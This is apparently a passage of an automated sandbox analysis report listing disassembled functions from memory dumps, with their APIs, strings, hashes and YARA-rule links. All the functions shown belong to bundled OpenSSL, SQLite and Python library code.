Opcode ID: bdcdd4a27d0d53d5f7e62c9db0962f8d1b51627e0933fc13f1a2566edc0bc937
Instruction ID: c9badaaddc43fd188d848e98c7611c03f35b679a42a1d957989897dc58f73dd4
Opcode Fuzzy Hash: bdcdd4a27d0d53d5f7e62c9db0962f8d1b51627e0933fc13f1a2566edc0bc937
Instruction Fuzzy Hash: BE41E226F08A82C2EB51CF55D4502BD67A0FB95B84F548131EE8C9BBB5DF2DD191C700

Function 00007FFE013B220C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE0142CF89
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0142CFA1
ERR_new.LIBCRYPTO-3 ref: 00007FFE0142CFD2
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0142CFEA

Strings

tls_process_end_of_early_data, xrefs: 00007FFE0142CF8E, 00007FFE0142CFD7, 00007FFE0142D022
..\s\ssl\statem\statem_srvr.c, xrefs: 00007FFE0142CF9A, 00007FFE0142CFE3, 00007FFE0142D02E

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\statem_srvr.c$tls_process_end_of_early_data
API String ID: 193678381-3379596787
Opcode ID: 7f047ef4a91d2517906812dfc73a69850bcb6af0221a0f44b1dfe8972f153ce2
Instruction ID: cd3f157369d5a8e1d4a57168cd7b96555d940f794fc6c8afc1e021aac13adb85
Opcode Fuzzy Hash: 7f047ef4a91d2517906812dfc73a69850bcb6af0221a0f44b1dfe8972f153ce2
Instruction Fuzzy Hash: 63218B21F1854342F750ABA1E862BFD1241EF95780F984031DA0D8FAF2EE6DE5C68752

Function 00007FFE013B1947 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013B8D9D
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013B8DB5
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013B8DC7
ERR_new.LIBCRYPTO-3 ref: 00007FFE013B8DDC
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013B8DF4
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013B8E06

Strings

dtls1_write_app_data_bytes, xrefs: 00007FFE013B8DA2, 00007FFE013B8DE1
..\s\ssl\d1_msg.c, xrefs: 00007FFE013B8DAE, 00007FFE013B8DED

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\d1_msg.c$dtls1_write_app_data_bytes
API String ID: 1552677711-1870589286
Opcode ID: b2aeda71e0f10ff5d104f444f2d6a97a66499aa94998217004147aa1704fb417
Instruction ID: dd6b83491d17294653d330bb4998a99b8660b6386e5efbcedcd949dcb75fe078
Opcode Fuzzy Hash: b2aeda71e0f10ff5d104f444f2d6a97a66499aa94998217004147aa1704fb417
Instruction Fuzzy Hash: 76219020F0C64782F754AB61E8403BEA254AFA5794F940136EB0D5FBF6EE3CE8408741

Function 00007FFDFF1D2B90 Relevance: 14.0, APIs: 1, Strings: 8, Instructions: 489COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1D2C5C

Strings

foreign key, xrefs: 00007FFDFF1D2E33
cannot open virtual table: %s, xrefs: 00007FFDFF1D31E1
cannot open %s column for writing, xrefs: 00007FFDFF1D3194
cannot open table without rowid: %s, xrefs: 00007FFDFF1D31D8
no such column: "%s", xrefs: 00007FFDFF1D31C6
cannot open view: %s, xrefs: 00007FFDFF1D31CF
out of memory, xrefs: 00007FFDFF1D2CC8
indexed, xrefs: 00007FFDFF1D2E80

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"$out of memory
API String ID: 2221118986-554953066
Opcode ID: 8492472f21b256c3e2a30a61274d2bfeb5324a5e8c6b8adf2401f9c3996d3ecb
Instruction ID: a723025ccf51ae71c87a2a535acdd946509776add95b74b2f6abafd5c767410e
Opcode Fuzzy Hash: 8492472f21b256c3e2a30a61274d2bfeb5324a5e8c6b8adf2401f9c3996d3ecb
Instruction Fuzzy Hash: 25326873F08B8286EB648F2594A0AAD77B4FB49B88F404239DA7D57799DF38E450C740

Function 00007FFDFF197641 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 429COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF197B48

Strings

0123456789ABCDEF0123456789abcdef, xrefs: 00007FFDFF197A4C
VUUU, xrefs: 00007FFDFF1978DA
-, xrefs: 00007FFDFF197853
NaN, xrefs: 00007FFDFF197728
gfff, xrefs: 00007FFDFF197A9D
null, xrefs: 00007FFDFF19772F
-Inf, xrefs: 00007FFDFF197814

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memset
String ID: -$-Inf$0123456789ABCDEF0123456789abcdef$NaN$VUUU$gfff$null
API String ID: 2221118986-3207396689
Opcode ID: b1d8839e06c81de4f24e4d0548e686cd0ec282dae58c5d0f00eb3b4b03e584d0
Instruction ID: 60b5aa1623f45453a1e3b656b8e2bf0509d14abd19d97c42e00019e0b01684b1
Opcode Fuzzy Hash: b1d8839e06c81de4f24e4d0548e686cd0ec282dae58c5d0f00eb3b4b03e584d0
Instruction Fuzzy Hash: 23022463F0C28245EB358E299160B7A6BA1EF51798F490335DEBE476C9CF2DE449C780

Function 00007FFDFF1F2070 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 414COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1F210A

Strings

there is already an index named %s, xrefs: 00007FFDFF1F231E
view, xrefs: 00007FFDFF1F219E, 00007FFDFF1F22B4
table, xrefs: 00007FFDFF1F21A5
sqlite_temp_master, xrefs: 00007FFDFF1F20C9, 00007FFDFF1F21CD
%s %T already exists, xrefs: 00007FFDFF1F22AD
sqlite_master, xrefs: 00007FFDFF1F208F, 00007FFDFF1F21F2, 00007FFDFF1F2544
temporary table name must be unqualified, xrefs: 00007FFDFF1F213E

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: %s %T already exists$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3510742995-2846519077
Opcode ID: 937676cbf4b0e30e3ca399ee2a4d333812906da228b4ce381837377297e62686
Instruction ID: cf927181ebbb99be3c53ec6d6038615b2e0cf1d649a3bd37dcac036c981a0986
Opcode Fuzzy Hash: 937676cbf4b0e30e3ca399ee2a4d333812906da228b4ce381837377297e62686
Instruction Fuzzy Hash: 80029862F08AC286EB249F219420BA937A1FB85B98F444335DEBD47BD9DF7DE4458700

Function 00007FFE01302080 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313(?,?,?,00007FFE0130206C), ref: 00007FFE01304027

Part of subcall function 00007FFE013021E0: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,00007FFE013020AF,?,?,?,00007FFE0130206C), ref: 00007FFE0130220A
Part of subcall function 00007FFE013021E0: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,00007FFE013020AF,?,?,?,00007FFE0130206C), ref: 00007FFE01302228

PyUnicode_FromOrdinal.PYTHON313(?,?,?,00007FFE0130206C), ref: 00007FFE013020F5
PyErr_Format.PYTHON313(?,?,?,00007FFE0130206C), ref: 00007FFE0130211F
PyType_IsSubtype.PYTHON313(?,?,?,00007FFE0130206C), ref: 00007FFE01304034
PyErr_Format.PYTHON313(?,?,?,00007FFE0130206C), ref: 00007FFE0130407B

Strings

undefined character name '%s', xrefs: 00007FFE01302112, 00007FFE0130406E
name too long, xrefs: 00007FFE0130401D

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Err_$Formatstrncmp$FromOrdinalStringSubtypeType_Unicode_
String ID: name too long$undefined character name '%s'
API String ID: 3272042218-4056717002
Opcode ID: 83118eea44466def5e50fa6e7ca29993ae3008b325df9b62d7704b142f7f47bc
Instruction ID: 6b403330eb634803f211c023e9f929eb31d881391fa27130809cbcd70e8cf2ee
Opcode Fuzzy Hash: 83118eea44466def5e50fa6e7ca29993ae3008b325df9b62d7704b142f7f47bc
Instruction Fuzzy Hash: 9941D771F18A4281EB55CB85E8A427963E1FB4C784F86003ADB4E5B779DF2CE956C700

Function 00007FFE013FE9D0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE013B1307: OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE0141E1EC

OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE013FEA02
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FEA5D
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FEA75
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FEAB7
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FEACF

Part of subcall function 00007FFE013B163B: ERR_new.LIBCRYPTO-3 ref: 00007FFE0141DD5D
Part of subcall function 00007FFE013B163B: ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0141DD75

Strings

tls_construct_certificate_authorities, xrefs: 00007FFE013FEA62, 00007FFE013FEABC
..\s\ssl\statem\extensions.c, xrefs: 00007FFE013FEA6E, 00007FFE013FEAC8

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug$L_sk_num
String ID: ..\s\ssl\statem\extensions.c$tls_construct_certificate_authorities
API String ID: 2899912155-903051733
Opcode ID: 76d98890604127e7ecc2d5f884e7f8f741c35995e0341fa4c29aeb5bc96f2245
Instruction ID: b6ebe0e0bc17b81e21e880767f25ed3f5da3651995f978f4dfed046917fb5c85
Opcode Fuzzy Hash: 76d98890604127e7ecc2d5f884e7f8f741c35995e0341fa4c29aeb5bc96f2245
Instruction Fuzzy Hash: 7B219E10F1C68241FB80A762F9917BA4240EF84BC4F490035EE4D5FBFAEE6CE9818704

Function 00007FFE013FA080 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013FA0CA
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FA0E2
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FA132
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FA14A
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FA18E

Strings

..\s\ssl\record\ssl3_record.c, xrefs: 00007FFE013FA0DB, 00007FFE013FA143
early_data_count_ok, xrefs: 00007FFE013FA0CF, 00007FFE013FA13C

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_new$R_set_debug
String ID: ..\s\ssl\record\ssl3_record.c$early_data_count_ok
API String ID: 476316267-4150192623
Opcode ID: 5c54f0c2c42b69c92628c76a614c039758d21d18141a7cb5f852ffb02c2e075f
Instruction ID: 6b9bcfc15dbb61f6bedd80f51de211a75bdccb4842087511673fed3d6ca3d576
Opcode Fuzzy Hash: 5c54f0c2c42b69c92628c76a614c039758d21d18141a7cb5f852ffb02c2e075f
Instruction Fuzzy Hash: 3B31A021F1958287FB94AB65E4907BD3291EF84784F5A4039EA0D4F6B1DE3CE9828700

Function 00007FFDFF1E8C10 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 299COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1E8D3F
memset.VCRUNTIME140 ref: 00007FFDFF1E8E01
memcpy.VCRUNTIME140 ref: 00007FFDFF1E8E2D
memcpy.VCRUNTIME140 ref: 00007FFDFF1E8EFC
memmove.VCRUNTIME140 ref: 00007FFDFF1E8FDC
memcpy.VCRUNTIME140 ref: 00007FFDFF1E8FFC

Strings

"%w" , xrefs: 00007FFDFF1E8CBB
%Q%s, xrefs: 00007FFDFF1E8F62

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset$memmove
String ID: "%w" $%Q%s
API String ID: 3094553269-1987291987
Opcode ID: 9b5ccd2ccc6121769177822dc1dde03cc35895c2345c55549e516daff865ad5a
Instruction ID: 9a5b983b70d51fd8ce2fdd2df9f4f20086d415cd3bcc69547aea2512d3e003ae
Opcode Fuzzy Hash: 9b5ccd2ccc6121769177822dc1dde03cc35895c2345c55549e516daff865ad5a
Instruction Fuzzy Hash: F8C1BE32B09B8286EB158F15A4A0AB967A1FB45BB4F044735DE7E877D8CF3CE8448300

Function 00007FFDFF1B1040 Relevance: 12.3, APIs: 5, Strings: 3, Instructions: 253COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1B1317
memcpy.VCRUNTIME140 ref: 00007FFDFF1B1385

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1B10DA
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1B10C2
database corruption, xrefs: 00007FFDFF1B10CE

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3510742995-3727861699
Opcode ID: d19dcd5255650cfdfefce16a649fffea8f53c40fce7bdf3c810c1306d021ea72
Instruction ID: 120e906de8c5965d0a3911c27b74604e78620ad0c43d781374d3b166b1ae0712
Opcode Fuzzy Hash: d19dcd5255650cfdfefce16a649fffea8f53c40fce7bdf3c810c1306d021ea72
Instruction Fuzzy Hash: 3AA1F133B0C2D185E7248B1994A4ABE7B92FB80789F164335DBAE93689DF3CE545C700

Function 00007FFE013D6940 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

OPENSSL_sk_new_null.LIBCRYPTO-3(?,00007FFE013D02C1), ref: 00007FFE013D6984
OPENSSL_sk_num.LIBCRYPTO-3(?,00007FFE013D02C1), ref: 00007FFE013D699B
OPENSSL_sk_value.LIBCRYPTO-3(?,00007FFE013D02C1), ref: 00007FFE013D69A9
X509_NAME_dup.LIBCRYPTO-3(?,00007FFE013D02C1), ref: 00007FFE013D69B1
OPENSSL_sk_num.LIBCRYPTO-3(?,00007FFE013D02C1), ref: 00007FFE013D69D5

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: L_sk_num$E_dupL_sk_new_nullL_sk_valueX509_
String ID:
API String ID: 3273602126-0
Opcode ID: 881ac52d8e42a3e634f706a0947f41ac1587dba43d80824104df64d6d3a7b18e
Instruction ID: 1ad5e96dc8320559fc32a19a04c55a4504ed87cf48f631752336ed1b14474e42
Opcode Fuzzy Hash: 881ac52d8e42a3e634f706a0947f41ac1587dba43d80824104df64d6d3a7b18e
Instruction Fuzzy Hash: 43219261F0D74285FB54DBA669421BD5290AF58BC4F880030EE8E8FBBBDE7DE4818705

Function 00007FFDFF1A2CE0 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 339COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1A309A

Strings

API called with finalized prepared statement, xrefs: 00007FFDFF1A2E5C, 00007FFDFF1A2ED8
API called with NULL prepared statement, xrefs: 00007FFDFF1A2E44
ATTACH x AS %Q, xrefs: 00007FFDFF1A2D70
%s at line %d of [%.10s], xrefs: 00007FFDFF1A2E95, 00007FFDFF1A2F02
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1A2D53, 00007FFDFF1A2EE9
misuse, xrefs: 00007FFDFF1A2E89, 00007FFDFF1A2EF6

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API called with NULL prepared statement$API called with finalized prepared statement$ATTACH x AS %Q$misuse
API String ID: 3510742995-1404302391
Opcode ID: 86cd90d465a7c5323a067d3472446658b91cfd14de0fde9c62a79a583749ec75
Instruction ID: e357261b211d03f4e06365a77593187710deb4632e6d4d453b5ba797c8b7fae0
Opcode Fuzzy Hash: 86cd90d465a7c5323a067d3472446658b91cfd14de0fde9c62a79a583749ec75
Instruction Fuzzy Hash: EBF17C23F09A8281EB649F21A464B7933A5BF40B94F544239CA7D9B7D9CF3DE8459340

Function 00007FFE013017A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON313 ref: 00007FFE0130186C
PyUnicode_FromString.PYTHON313 ref: 00007FFE013018D1
_PyArg_BadArgument.PYTHON313 ref: 00007FFE01303BEE

Strings

argument, xrefs: 00007FFE01303BE0
a unicode character, xrefs: 00007FFE01303BD9
category, xrefs: 00007FFE01303BE7

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_ArgumentFromStringSubtypeType_Unicode_
String ID: a unicode character$argument$category
API String ID: 1318908108-2068800536
Opcode ID: 819d02cb5a53b99fb765d21f9d19cde95ec2cc2e6cea83f9e4c806781089034f
Instruction ID: c48ead03ea2a9c6075a969852ed8aca736761c4966b165a88261ec839517f3a3
Opcode Fuzzy Hash: 819d02cb5a53b99fb765d21f9d19cde95ec2cc2e6cea83f9e4c806781089034f
Instruction Fuzzy Hash: 0251B662F18A5282EB5A8B49D4703B827E1FB44B84F46403DDA4F4F7A4DF3DEA958340

Function 00007FFE013B18A7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE0141C659
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0141C671
memcpy.VCRUNTIME140 ref: 00007FFE0141C6E2
BIO_ctrl.LIBCRYPTO-3 ref: 00007FFE0141C80E

Strings

dtls1_retransmit_message, xrefs: 00007FFE0141C65E
..\s\ssl\statem\statem_dtls.c, xrefs: 00007FFE0141C66A

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_ctrlR_newR_set_debugmemcpy
String ID: ..\s\ssl\statem\statem_dtls.c$dtls1_retransmit_message
API String ID: 152836652-3409696843
Opcode ID: 38111a63339efb7e7fc13a2fb447c6da4c77d5ba108c043dbd7b2e9ba07b205e
